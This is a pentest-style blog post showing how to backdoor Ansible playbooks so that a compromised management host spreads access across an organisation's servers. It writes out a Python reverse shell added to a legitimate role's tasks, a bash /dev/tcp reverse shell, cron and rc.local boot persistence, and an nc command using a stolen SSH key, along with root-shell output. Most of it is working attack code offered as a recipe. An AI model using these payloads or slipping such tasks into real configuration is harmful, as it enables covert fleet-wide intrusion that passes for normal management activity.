Backdooring Ansible Playbooks for Persistence

Backdooring Ansible Playbooks for Persistence

I have a thing for abusing sysadmin tools and trying to live off the land as much as possible.  This post discusses the possibility of a management host being compromised, and an entire estate being affected very quickly.  Less ethical people could even create an Ansible playbook to start crypto mining or similar, but this post will focus on pentest persistence through various methods.

This post actually grew out the work I was doing to automate C2 infrastructure using Terraform (building on BlueScreenofJeff and RastaMouse’s excellent work) and this post won’t cover all of the ways that you can abuse Ansible for persistence, however it is designed to give you a prod in the right direction and hopefully provide a start point for other research.

Ansible is an extremely popular Configuration Management software.  It allows you to define groups of hosts and then deploy roles / playbooks onto them.  It’s designed to reduced Config Drift (where over time things are made less secure because a sysadmin ‘has to get it working!’) but also allows you to do this at a truly biblical scale.It has no daemon or significant dependencies, so you could manage 10000 hosts from one laptop, or as in this scenario a sysadmin Ubuntu server, and a target server.

Many organisations use Ansible playbooks in conjunction with a source control system such as Git as it allows them to manage dev, live, pre-prod and production environments with separate playbooks and allows the security team to enforce Desired State Configuration.  It also has the ability to produce some pretty detailed dashboards that can add as another layer of defence within your organisation.

Why Ansible?

Some might say that if you are in a position to use Ansible against an environment, you can already ssh in to the target as root.  Mature environments will log every single root login, as well as look for unusual patterns.  By covertly inserting yourself into their playbook, you gain access next time Ansible pushes the playbook (and Ansible doesn’t need to login as root, it can use lower privilege accounts and make use of sudo).  Also, many monitoring systems will enforce conformance against Ansible, so if you were to make a change locally on a box it would create alerts.  Whereas if Ansible pushes out that change, it is considered normal management activity.

For the purposes of this post, I’m using two DigitalOcean instances, all using Ubuntu 16 x64.  We’re going to assume we have access to a sysadmin management machine, but our other accesses into the network have no direct access to the target server.

For the purposes of this article, we will assume we have completed our network enumeration and understand the infrastructure.  We will begin by obtaining a copy of the sysadmin Ansible playbook from his compromised host.  We then add our backdoor task, push this via the sysadmin host to the Ansible Management Host, with a view to gaining code execution on the Ansible Target Server.

For the purposes of this I am using a blank Ubuntu Target Server and deploying a slightly modified Apache playbook from the Ansible Gallery (think Github for Ansible).

You install Ansible using the steps below:

$ sudo apt-get update
$ sudo apt-get install software-properties-common
$ sudo apt-add-repository ppa:ansible/ansible
$ sudo apt-get update
$ sudo apt-get install ansible

This also installs the Ansible Galaxy tool, I edited ansible.cfg and amended the file to use the /etc directory for roles rather than the ~/.ansible directory.

roles_path = /etc/ansible/roles

I also removed SSH host key checking by setting:

host_key_checking = False

We can then edit the tasks that the particular playbook will execute upon running.  In this example, they are stored in:

/etc/ansible/roles/geerlingguy.apache/tasks/configure-Debian.yml

If you view this file you can see that it will ensure that the apt cache is current, as well as making sure that Apache is configured.  Once the configure-Debian script is complete,you will see the setup-Debian.yml file is then called by the playbook.

To add a code execution, try something like this:

Create an AnsbilePOC.yml file in /etc/ansible/ containing:

---
- hosts: all
roles:
- geerlingguy.apache

Now edit /etc/ansible/roles/geerlingguy.apache/tasks/setup-Debian.yml to include a shell command (reverse Python shell included as a PoC):

- name: BaffledJimmy Test Script
shell: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("123.123.123.100",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

If the Ansible Target only supports key authentication then you will need to pass Ansible a .pem file like so:

ansible-playbook --private-key=stolen_sysadmin_key.pem AnsiblePOC.yml

Hopefully it looks something like this at the end of the wall of text:

PLAY RECAP **********************************************************************************************************************************************************************************************************************************
159.65.93.153 : ok=16 changed=5 unreachable=0 failed=0
root@Mac-AnsibleHost:~# nc -lnvp 8080
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [123.123.123.123] port 8080 [tcp/*] accepted (family 2, sport 44490)
# whoami
root
# hostname
Mac-AnsibleTarget

So that is a PoC, now what about persistence.

You could use the cron module of Ansible to create an @reboot task  or at a date / time of your choosing.

Cron job:

- name: Cron job persistence
  cron:
    name: "Cron shell at reboot"
    special_time: reboot
    job: "/ansibleuser/shell.sh"

Or use shell / command module to make a command that will run at boot.

Create backdoor script in /home/poor_sysadmin and push it out using shell / command / file copy modules in Ansible or any other mechanism.  Once it is copied or created, make sure you include a command in Ansible to make it executable.  For clarity – both the script and the rc.local will need to be chmod+x.

#!/bin/bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
exit 0

 

Then use a shell command to make rc.local executable.

ansible -m shell -a "chmod +x /etc/rc.d/rc.local"

And then amend rc.local to look something like this:

#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.
/home/poor_sysadmin/backdoor.sh
exit 0

 

Bonus Points: You can also use Ansible for extra enumeration, by dropping the following into your template file:

{% for host in groups['db_servers'] %}
    {{ host }}
{% endfor %}

or even manually checking the /etc/ansible/hosts file as there may be other hosts or entire subnets under Ansible Configuration Management that you have yet to discover.

If you don’t want to backdoor the playbook, use an ad-hoc command against the target server to gain a reverse shell.

ansible all -m shell -a "nc -nv 123.123.123.123 8080" --private-key=~/.ssh/stolen_sysadmin_key

Which should result in something similar to this:

123.123.123.100 | SUCCESS | rc=0 >>
Connection to 123.123.123.100 8080 port [tcp/*] succeeded!

Ansible also has the script option, allowing you to push a script to the server, then execute it. Also works on Windows.

- script: /opt/LinuxPrivEsc/checker.sh

Ansible also supports a Fetch and Copy option, allowing you to push files onto those target servers.  If shell is not working, try command instead (win_shell on Windows).

Future Work: Put together a demo playbook that covers a variety of OS’s, and allows you to simply update HOSTS and the command / payload you want to run. Then you just pass some credentials or a keyfile and off you go.

Comments are closed.